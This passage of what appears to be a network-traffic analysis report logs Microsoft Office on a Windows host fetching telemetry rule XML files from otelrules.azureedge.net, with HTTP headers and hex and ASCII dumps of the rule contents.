3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 Data Ascii: <V V="400" T="I32" /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V
2024-11-18 03:41:11 UTC	16384	IN	Data Raw: 32 30 76 33 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 Data Ascii: 20v3+<?xml version="1.0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="T
2024-11-18 03:41:11 UTC	16384	IN	Data Raw: 20 54 3d 22 32 22 20 46 3d 22 41 76 65 72 61 67 65 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d Data Ascii: T="2" F="Average" /> </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F=
2024-11-18 03:41:11 UTC	16384	IN	Data Raw: 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a Data Ascii: alse"> <C> <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C>
2024-11-18 03:41:11 UTC	16384	IN	Data Raw: 20 49 3d 22 31 39 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 Data Ascii: I="19" O="false" N="Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="Cleanup
2024-11-18 03:41:12 UTC	16384	IN	Data Raw: 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 Data Ascii: </L> <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R>
2024-11-18 03:41:12 UTC	16384	IN	Data Raw: 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 Data Ascii: </O> </F> </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C>
2024-11-18 03:41:12 UTC	16384	IN	Data Raw: 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: O T="AND"> <L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" />
2024-11-18 03:41:12 UTC	16384	IN	Data Raw: 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 Data Ascii: <S T="2" F="HttpStatus" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.6	49715	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 03:41:13 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 03:41:13 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 03:41:13 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: 6c84f393-101e-007a-65a5-36047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T034113Z-16547b76f7fsq6p7hC1DFWfx6800000003qg00000000c4ed x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 03:41:13 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.6	49714	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 03:41:13 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 03:41:13 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 03:41:13 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: 1270a440-201e-00aa-78a0-373928000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T034113Z-16547b76f7f6892shC1DFWawd0000000028g000000007pwp x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 03:41:13 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.6	49712	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 03:41:13 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 03:41:13 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 03:41:13 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: 57a2975a-501e-0078-749b-3706cf000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T034113Z-16547b76f7fxqj4khC1DFWpypw00000002h000000000m1rz x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 03:41:13 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.6	49716	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 03:41:13 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 03:41:13 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 03:41:13 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: db45c3c2-701e-0053-2e8e-363a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T034113Z-164f84587bfn7ppchC1DFW0meg00000004pg0000000068y0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 03:41:13 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.6	49713	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 03:41:13 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 03:41:13 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 03:41:13 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 31be6f69-e01e-00aa-387f-37ceda000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T034113Z-16547b76f7fsq6p7hC1DFWfx6800000003tg0000000014mr x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 03:41:13 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.6	49719	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 03:41:14 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 03:41:14 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 03:41:14 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: c0944ef9-c01e-007a-107c-37b877000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T034114Z-164f84587bf9nk94hC1DFWerbg0000000490000000008ezs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 03:41:14 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.6	49718	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 03:41:14 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 03:41:14 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 03:41:14 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: da60be55-301e-0099-21b0-376683000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T034114Z-16547b76f7fkf5v9hC1DFW2y5s000000053000000000fbkg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 03:41:14 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.6	49720	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
